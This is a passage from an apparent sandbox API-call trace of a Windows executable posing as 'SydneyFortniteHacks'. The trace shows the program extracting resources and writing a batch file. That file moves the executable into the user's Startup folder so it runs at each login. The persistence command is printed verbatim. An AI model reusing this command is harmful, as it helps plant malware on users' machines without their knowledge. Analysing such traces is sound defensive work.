cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0062.186] malloc (_Size=0x2a) returned 0x6013c0 [0062.186] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="6B4ED4EE276A6F7DBFFAE6BC38A15336DD74A697", cchWideChar=41, lpMultiByteStr=0x6013c0, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6B4ED4EE276A6F7DBFFAE6BC38A15336DD74A697", lpUsedDefaultChar=0x0) returned 41 [0062.186] memcpy (in: _Dst=0x761338, _Src=0x6013c0, _Size=0x28 | out: _Dst=0x761338) returned 0x761338 [0062.186] memcpy (in: _Dst=0x761360, _Src=0x4136f0, _Size=0x1 | out: _Dst=0x761360) returned 0x761360 [0062.186] memcpy (in: _Dst=0x761361, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x761361) returned 0x761361 [0062.186] memcpy (in: _Dst=0x761362, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x761362) returned 0x761362 [0062.186] memcpy (in: _Dst=0x761363, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x761363) returned 0x761363 [0062.186] memcpy (in: _Dst=0x761364, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x761364) returned 0x761364 [0062.186] memcpy (in: _Dst=0x761365, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x761365) returned 0x761365 [0062.186] memcpy (in: _Dst=0x761366, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x761366) returned 0x761366 [0062.186] memcpy (in: _Dst=0x761367, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x761367) returned 0x761367 [0062.187] memcpy (in: _Dst=0x761368, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x761368) returned 0x761368 [0062.187] memcpy (in: _Dst=0x761369, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x761369) returned 0x761369 [0062.187] memcpy (in: _Dst=0x76136a, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x76136a) returned 0x76136a [0062.187] memcpy (in: _Dst=0x76136b, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x76136b) returned 0x76136b [0062.187] memcpy (in: _Dst=0x76136c, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x76136c) returned 0x76136c [0062.187] memcpy (in: _Dst=0x76136d, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x76136d) returned 0x76136d [0062.187] memcpy (in: _Dst=0x76136e, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x76136e) returned 0x76136e [0062.187] memcpy (in: _Dst=0x76136f, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x76136f) returned 0x76136f [0062.187] memcpy (in: _Dst=0x761370, _Src=0x18febc, _Size=0x8 | out: _Dst=0x761370) returned 0x761370 [0062.187] memcpy (in: _Dst=0x76137c, _Src=0x761338, _Size=0x40 | out: _Dst=0x76137c) returned 0x76137c [0062.187] memcpy (in: _Dst=0x761338, _Src=0x18fec4, _Size=0x0 | out: _Dst=0x761338) returned 0x761338 [0062.187] free (_Block=0x6013c0) [0062.187] HeapFree (in: hHeap=0x760000, dwFlags=0x0, lpMem=0x7612d8 | out: hHeap=0x760000) returned 1 [0062.188] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x5a) returned 0x1f57d90 [0062.188] GetLastError () returned 0x0 [0062.188] SetLastError (dwErrCode=0x0) [0062.188] GetLastError () returned 0x0 [0062.188] SetLastError (dwErrCode=0x0) [0062.188] GetLastError () returned 0x0 [0062.188] SetLastError (dwErrCode=0x0) [0062.188] GetLastError () returned 0x0 [0062.188] SetLastError (dwErrCode=0x0) [0062.188] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x0, Size=0xe4) returned 0x7612d8 [0062.188] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="B72D9C9A26714CE2AB5C17F0A19A780C0AE9D0E2", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0062.188] malloc (_Size=0x2a) returned 0x6013c0 [0062.188] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="B72D9C9A26714CE2AB5C17F0A19A780C0AE9D0E2", cchWideChar=41, lpMultiByteStr=0x6013c0, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="B72D9C9A26714CE2AB5C17F0A19A780C0AE9D0E2", lpUsedDefaultChar=0x0) returned 41 [0062.188] memcpy (in: _Dst=0x761338, _Src=0x6013c0, _Size=0x28 | out: _Dst=0x761338) returned 0x761338 [0062.188] memcpy (in: _Dst=0x761360, _Src=0x4136f0, _Size=0x1 | out: _Dst=0x761360) returned 0x761360 [0062.188] memcpy (in: _Dst=0x761361, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x761361) returned 0x761361 [0062.188] memcpy (in: _Dst=0x761362, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x761362) returned 0x761362 [0062.188] memcpy (in: _Dst=0x761363, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x761363) returned 0x761363 [0062.188] memcpy (in: _Dst=0x761364, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x761364) returned 0x761364 [0062.188] memcpy (in: _Dst=0x761365, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x761365) returned 0x761365 [0062.188] memcpy (in: _Dst=0x761366, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x761366) returned 0x761366 [0062.188] memcpy (in: _Dst=0x761367, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x761367) returned 0x761367 [0062.188] memcpy (in: _Dst=0x761368, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x761368) returned 0x761368 [0062.188] memcpy (in: _Dst=0x761369, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x761369) returned 0x761369 [0062.188] memcpy (in: _Dst=0x76136a, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x76136a) returned 0x76136a [0062.188] memcpy (in: _Dst=0x76136b, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x76136b) returned 0x76136b [0062.188] memcpy (in: _Dst=0x76136c, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x76136c) returned 0x76136c [0062.188] memcpy (in: _Dst=0x76136d, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x76136d) returned 0x76136d [0062.188] memcpy (in: _Dst=0x76136e, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x76136e) returned 0x76136e [0062.188] memcpy (in: _Dst=0x76136f, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x76136f) returned 0x76136f [0062.188] memcpy (in: _Dst=0x761370, _Src=0x18febc, _Size=0x8 | out: _Dst=0x761370) returned 0x761370 [0062.189] memcpy (in: _Dst=0x76137c, _Src=0x761338, _Size=0x40 | out: _Dst=0x76137c) returned 0x76137c [0062.189] memcpy (in: _Dst=0x761338, _Src=0x18fec4, _Size=0x0 | out: _Dst=0x761338) returned 0x761338 [0062.189] free (_Block=0x6013c0) [0062.189] HeapFree (in: hHeap=0x760000, dwFlags=0x0, lpMem=0x7612d8 | out: hHeap=0x760000) returned 1 [0062.189] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x5a) returned 0x1f57df8 [0062.189] GetLastError () returned 0x0 [0062.190] SetLastError (dwErrCode=0x0) [0062.190] GetLastError () returned 0x0 [0062.190] SetLastError (dwErrCode=0x0) [0062.190] wcslen (_String="68E0F5B9BFB675C061DC784FDA1B689140938AC5") returned 0x28 [0062.190] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x5a) returned 0x1f57e60 [0062.190] FindResourceW (hModule=0x400000, lpName="68E0F5B9BFB675C061DC784FDA1B689140938AC5", lpType=0xa) returned 0x0 [0062.190] GetLastError () returned 0x716 [0062.190] SetLastError (dwErrCode=0x716) [0062.190] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f57e60 | out: hHeap=0x1f40000) returned 1 [0062.190] GetLastError () returned 0x0 [0062.190] SetLastError (dwErrCode=0x0) [0062.190] GetLastError () returned 0x0 [0062.190] SetLastError (dwErrCode=0x0) [0062.190] GetLastError () returned 0x0 [0062.190] SetLastError (dwErrCode=0x0) [0062.190] wcslen (_String="56960F2550176AAB7502ECECF45C35FE4CBA7109") returned 0x28 [0062.190] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x5a) returned 0x1f57e60 [0062.190] FindResourceW (hModule=0x400000, lpName="56960F2550176AAB7502ECECF45C35FE4CBA7109", lpType=0xa) returned 0x419100 [0062.190] LoadResource (hModule=0x400000, hResInfo=0x419100) returned 0x419230 [0062.190] SizeofResource (hModule=0x400000, hResInfo=0x419100) returned 0xc [0062.191] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0xc) returned 0x8609f0 [0062.191] memcpy (in: _Dst=0x8609f0, _Src=0x419230, _Size=0xc | out: _Dst=0x8609f0) returned 0x8609f0 [0062.191] FreeResource (hResData=0x419230) returned 0 [0062.191] RtlSizeHeap (HeapHandle=0x860000, Flags=0x0, MemoryPointer=0x8609f0) returned 0xc [0062.191] wcslen (_String="36FA8320AE17B4B0AF374ED522F9BBB8") returned 0x20 [0062.191] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x4a) returned 0x1f49200 [0062.191] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="36FA8320AE17B4B0AF374ED522F9BBB8", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0062.191] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x21) returned 0x860a08 [0062.191] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="36FA8320AE17B4B0AF374ED522F9BBB8", cchWideChar=-1, lpMultiByteStr=0x860a08, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="36FA8320AE17B4B0AF374ED522F9BBB8", lpUsedDefaultChar=0x0) returned 33 [0062.191] RtlSizeHeap (HeapHandle=0x860000, Flags=0x0, MemoryPointer=0x860a08) returned 0x21 [0062.191] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x0, Size=0x418) returned 0x7612d8 [0062.191] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x0, Size=0x418) returned 0x7616f8 [0062.191] HeapFree (in: hHeap=0x760000, dwFlags=0x0, lpMem=0x7612d8 | out: hHeap=0x760000) returned 1 [0062.191] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x0, Size=0x1c) returned 0x7612d8 [0062.192] HeapFree (in: hHeap=0x760000, dwFlags=0x0, lpMem=0x7616f8 | out: hHeap=0x760000) returned 1 [0062.192] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x0, Size=0x1c) returned 0x761300 [0062.192] HeapFree (in: hHeap=0x860000, dwFlags=0x0, lpMem=0x860a08 | out: hHeap=0x860000) returned 1 [0062.192] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f49200 | out: hHeap=0x1f40000) returned 1 [0062.192] HeapFree (in: hHeap=0x760000, dwFlags=0x0, lpMem=0x7612d8 | out: hHeap=0x760000) returned 1 [0062.192] HeapFree (in: hHeap=0x760000, dwFlags=0x0, lpMem=0x761300 | out: hHeap=0x760000) returned 1 [0062.192] GetLastError () returned 0x0 [0062.192] SetLastError (dwErrCode=0x0) [0062.192] GetLastError () returned 0x0 [0062.192] SetLastError (dwErrCode=0x0) [0062.192] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr="startSF.bat", cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0062.192] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr="startSF.bat", cbMultiByte=11, lpWideCharStr=0x1f40830, cchWideChar=12 | out: lpWideCharStr="startSF.bat675C061DC784FDA1B689140938AC5") returned 11 [0062.192] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x20) returned 0x1f489a8 [0062.193] HeapFree (in: hHeap=0x860000, dwFlags=0x0, lpMem=0x8609f0 | out: hHeap=0x860000) returned 1 [0062.193] GetLastError () returned 0x0 [0062.193] SetLastError (dwErrCode=0x0) [0062.193] wcslen (_String="startSF.bat") returned 0xb [0062.193] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f57e60 | out: hHeap=0x1f40000) returned 1 [0062.193] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f489a8 | out: hHeap=0x1f40000) returned 1 [0062.193] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x20) returned 0x1f489a8 [0062.193] GetLastError () returned 0x0 [0062.193] SetLastError (dwErrCode=0x0) [0062.193] GetLastError () returned 0x0 [0062.193] SetLastError (dwErrCode=0x0) [0062.194] wcslen (_String="6B4ED4EE276A6F7DBFFAE6BC38A15336DD74A697") returned 0x28 [0062.194] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x5a) returned 0x1f57e60 [0062.194] FindResourceW (hModule=0x400000, lpName="6B4ED4EE276A6F7DBFFAE6BC38A15336DD74A697", lpType=0xa) returned 0x0 [0062.194] GetLastError () returned 0x716 [0062.194] SetLastError (dwErrCode=0x716) [0062.194] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f57e60 | out: hHeap=0x1f40000) returned 1 [0062.194] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0xa) returned 0x1f56ba8 [0062.194] GetLastError () returned 0x0 [0062.194] SetLastError (dwErrCode=0x0) [0062.194] GetLastError () returned 0x0 [0062.194] SetLastError (dwErrCode=0x0) [0062.194] wcslen (_String="B72D9C9A26714CE2AB5C17F0A19A780C0AE9D0E2") returned 0x28 [0062.194] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x5a) returned 0x1f57e60 [0062.194] FindResourceW (hModule=0x400000, lpName="B72D9C9A26714CE2AB5C17F0A19A780C0AE9D0E2", lpType=0xa) returned 0x0 [0062.194] GetLastError () returned 0x716 [0062.194] SetLastError (dwErrCode=0x716) [0062.195] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f57e60 | out: hHeap=0x1f40000) returned 1 [0062.195] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0xa) returned 0x1f56bd8 [0062.195] GetLastError () returned 0x0 [0062.195] SetLastError (dwErrCode=0x0) [0062.195] GetLastError () returned 0x0 [0062.195] SetLastError (dwErrCode=0x0) [0062.195] wcslen (_String="C1F0F7C622CAB348492D1AB929AC8AD5") returned 0x20 [0062.195] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x4a) returned 0x1f49200 [0062.195] FindResourceW (hModule=0x400000, lpName="C1F0F7C622CAB348492D1AB929AC8AD5", lpType=0xa) returned 0x419110 [0062.195] LoadResource (hModule=0x400000, hResInfo=0x419110) returned 0x41923c [0062.195] SizeofResource (hModule=0x400000, hResInfo=0x419110) returned 0x95 [0062.195] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x95) returned 0x8609f0 [0062.195] memcpy (in: _Dst=0x8609f0, _Src=0x41923c, _Size=0x95 | out: _Dst=0x8609f0) returned 0x8609f0 [0062.195] FreeResource (hResData=0x41923c) returned 0 [0062.195] RtlSizeHeap (HeapHandle=0x860000, Flags=0x0, MemoryPointer=0x8609f0) returned 0x95 [0062.195] wcslen (_String="36FA8320AE17B4B0AF374ED522F9BBB8") returned 0x20 [0062.195] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x4a) returned 0x1f49258 [0062.195] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="36FA8320AE17B4B0AF374ED522F9BBB8", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0062.195] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x21) returned 0x860a90 [0062.195] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="36FA8320AE17B4B0AF374ED522F9BBB8", cchWideChar=-1, lpMultiByteStr=0x860a90, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="36FA8320AE17B4B0AF374ED522F9BBB8", lpUsedDefaultChar=0x0) returned 33 [0062.196] RtlSizeHeap (HeapHandle=0x860000, Flags=0x0, MemoryPointer=0x860a90) returned 0x21 [0062.196] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x0, Size=0x418) returned 0x7612d8 [0062.196] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x0, Size=0x418) returned 0x7616f8 [0062.196] HeapFree (in: hHeap=0x760000, dwFlags=0x0, lpMem=0x7612d8 | out: hHeap=0x760000) returned 1 [0062.196] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x0, Size=0x1c) returned 0x7612d8 [0062.196] HeapFree (in: hHeap=0x760000, dwFlags=0x0, lpMem=0x7616f8 | out: hHeap=0x760000) returned 1 [0062.196] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x0, Size=0x1c) returned 0x761300 [0062.197] HeapFree (in: hHeap=0x860000, dwFlags=0x0, lpMem=0x860a90 | out: hHeap=0x860000) returned 1 [0062.197] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f49258 | out: hHeap=0x1f40000) returned 1 [0062.197] HeapFree (in: hHeap=0x760000, dwFlags=0x0, lpMem=0x7612d8 | out: hHeap=0x760000) returned 1 [0062.197] HeapFree (in: hHeap=0x760000, dwFlags=0x0, lpMem=0x761300 | out: hHeap=0x760000) returned 1 [0062.197] GetLastError () returned 0x0 [0062.197] SetLastError (dwErrCode=0x0) [0062.197] GetLastError () returned 0x0 [0062.197] SetLastError (dwErrCode=0x0) [0062.197] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr="echo off\r\nmove \"C:\\Users\\Public\\Documents\\SydneyFortniteHacks.exe\" \"%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SydneyFortniteHacks.exe\"", cbMultiByte=148, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 148 [0062.197] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr="echo off\r\nmove \"C:\\Users\\Public\\Documents\\SydneyFortniteHacks.exe\" \"%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SydneyFortniteHacks.exe\"", cbMultiByte=148, lpWideCharStr=0x1f40830, cchWideChar=149 | out: lpWideCharStr="echo off\r\nmove \"C:\\Users\\Public\\Documents\\SydneyFortniteHacks.exe\" \"%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SydneyFortniteHacks.exe\"") returned 148 [0062.197] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x132) returned 0x1f57e60 [0062.198] HeapFree (in: hHeap=0x860000, dwFlags=0x0, lpMem=0x8609f0 | out: hHeap=0x860000) returned 1 [0062.198] GetLastError () returned 0x0 [0062.198] SetLastError (dwErrCode=0x0) [0062.198] wcslen (_String="echo off\r\nmove \"C:\\Users\\Public\\Documents\\SydneyFortniteHacks.exe\" \"%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SydneyFortniteHacks.exe\"") returned 0x94 [0062.198] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f49200 | out: hHeap=0x1f40000) returned 1 [0062.198] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f57e60 | out: hHeap=0x1f40000) returned 1 [0062.198] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x132) returned 0x1f57e60 [0062.199] GetLastError () returned 0x0 [0062.199] SetLastError (dwErrCode=0x0) [0062.199] GetLastError () returned 0x0 [0062.199] SetLastError (dwErrCode=0x0) [0062.199] GetLastError () returned 0x0 [0062.199] SetLastError (dwErrCode=0x0) [0062.199] GetLastError () returned 0x0 [0062.199] SetLastError (dwErrCode=0x0) [0062.199] wcslen (_String="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\EDB5.tmp") returned 0x40 [0062.199] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x8a) returned 0x1f4b190 [0062.199] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x2710) returned 0x8609f0 [0062.199] GetShortPathNameW (in: lpszLongPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\EDB5.tmp", lpszShortPath=0x8609f0, cchBuffer=0x2710 | out: lpszShortPath="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\EDB5.tmp") returned 0x3f [0062.199] GetLastError () returned 0x0 [0062.199] SetLastError (dwErrCode=0x0) [0062.199] GetLastError () returned 0x0 [0062.199] SetLastError (dwErrCode=0x0) [0062.200] memcpy (in: _Dst=0x1f40830, _Src=0x8609f0, _Size=0x7e | out: _Dst=0x1f40830) returned 0x1f40830 [0062.200] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x88) returned 0x1f4b228 [0062.200] HeapFree (in: hHeap=0x860000, dwFlags=0x0, lpMem=0x8609f0 | out: hHeap=0x860000) returned 1 [0062.200] GetLastError () returned 0x0 [0062.200] SetLastError (dwErrCode=0x0) [0062.200] wcslen (_String="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\EDB5.tmp") returned 0x3f [0062.201] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f4b190 | out: hHeap=0x1f40000) returned 1 [0062.201] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f4b228 | out: hHeap=0x1f40000) returned 1 [0062.201] free (_Block=0x6013c0) [0062.201] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56ba8, Size=0xa) returned 0x1f56c08 [0062.201] GetLastError () returned 0x0 [0062.201] SetLastError (dwErrCode=0x0) [0062.201] GetLastError () returned 0x0 [0062.201] SetLastError (dwErrCode=0x0) [0062.201] GetLastError () returned 0x0 [0062.201] SetLastError (dwErrCode=0x0) [0062.201] GetLastError () returned 0x0 [0062.202] SetLastError (dwErrCode=0x0) [0062.202] wcslen (_String="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\extd.exe") returned 0x40 [0062.202] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x8a) returned 0x1f4b190 [0062.202] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x2710) returned 0x8609f0 [0062.202] GetShortPathNameW (in: lpszLongPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\extd.exe", lpszShortPath=0x8609f0, cchBuffer=0x2710 | out: lpszShortPath="") returned 0x0 [0062.202] GetLastError () returned 0x2 [0062.202] SetLastError (dwErrCode=0x2) [0062.202] GetLastError () returned 0x2 [0062.202] SetLastError (dwErrCode=0x2) [0062.202] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0xa) returned 0x1f56ba8 [0062.202] HeapFree (in: hHeap=0x860000, dwFlags=0x0, lpMem=0x8609f0 | out: hHeap=0x860000) returned 1 [0062.202] GetLastError () returned 0x0 [0062.202] SetLastError (dwErrCode=0x0) [0062.202] wcslen (_String="") returned 0x0 [0062.203] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f4b190 | out: hHeap=0x1f40000) returned 1 [0062.203] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f56ba8 | out: hHeap=0x1f40000) returned 1 [0062.203] free (_Block=0x6013c0) [0062.203] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56c08, Size=0xa) returned 0x1f56ba8 [0062.203] GetLastError () returned 0x0 [0062.203] SetLastError (dwErrCode=0x0) [0062.203] GetLastError () returned 0x0 [0062.203] SetLastError (dwErrCode=0x0) [0062.203] wcslen (_String="@shift /0") returned 0x9 [0062.203] wcslen (_String="\r\n") returned 0x2 [0062.203] wcslen (_String="") returned 0x0 [0062.203] wcslen (_String="echo off\r\nmove \"C:\\Users\\Public\\Documents\\SydneyFortniteHacks.exe\" \"%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SydneyFortniteHacks.exe\"") returned 0x94 [0062.203] wcslen (_String="") returned 0x0 [0062.204] wcslen (_String="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\EDB4.bat") returned 0x40 [0062.204] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x8a) returned 0x1f4b190 [0062.204] wcslen (_String="@shift /0\r\necho off\r\nmove \"C:\\Users\\Public\\Documents\\SydneyFortniteHacks.exe\" \"%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SydneyFortniteHacks.exe\"") returned 0x9f [0062.204] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x148) returned 0x1f4b228 [0062.204] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x28) returned 0x7612d8 [0062.204] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\EDB4.bat" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\edb2.tmp\\edb3.tmp\\edb4.bat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0062.204] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x0, Size=0x1000) returned 0x761308 [0062.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@shift /0\r\necho off\r\nmove \"C:\\Users\\Public\\Documents\\SydneyFortniteHacks.exe\" \"%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SydneyFortniteHacks.exe\"", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 160 [0062.204] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x0, Size=0xa1) returned 0x762310 [0062.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@shift /0\r\necho off\r\nmove \"C:\\Users\\Public\\Documents\\SydneyFortniteHacks.exe\" \"%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SydneyFortniteHacks.exe\"", cchWideChar=-1, lpMultiByteStr=0x762310, cbMultiByte=160, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@shift /0\r\necho off\r\nmove \"C:\\Users\\Public\\Documents\\SydneyFortniteHacks.exe\" \"%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SydneyFortniteHacks.exe\"", lpUsedDefaultChar=0x0) returned 160 [0062.204] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18feb8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18feb8*=0) returned 0x0 [0062.204] memcpy (in: _Dst=0x761308, _Src=0x762310, _Size=0x9f | out: _Dst=0x761308) returned 0x761308 [0062.205] HeapFree (in: hHeap=0x760000, dwFlags=0x0, lpMem=0x762310 | out: hHeap=0x760000) returned 1 [0062.205] WriteFile (in: hFile=0x1c, lpBuffer=0x761308*, nNumberOfBytesToWrite=0x9f, lpNumberOfBytesWritten=0x18fed4, lpOverlapped=0x0 | out: lpBuffer=0x761308*, lpNumberOfBytesWritten=0x18fed4*=0x9f, lpOverlapped=0x0) returned 1 [0062.206] HeapFree (in: hHeap=0x760000, dwFlags=0x0, lpMem=0x761308 | out: hHeap=0x760000) returned 1 [0062.206] CloseHandle (hObject=0x1c) returned 1 [0062.208] HeapFree (in: hHeap=0x760000, dwFlags=0x0, lpMem=0x7612d8 | out: hHeap=0x760000) returned 1 [0062.209] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f4b190 | out: hHeap=0x1f40000) returned 1 [0062.209] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f4b228 | out: hHeap=0x1f40000) returned 1 [0062.209] GetLastError () returned 0x0 [0062.209] SetLastError (dwErrCode=0x0) [0062.209] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f491a8 | out: hHeap=0x1f40000) returned 1 [0062.209] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f489f8 | out: hHeap=0x1f40000) returned 1 [0062.210] HeapFree (in: 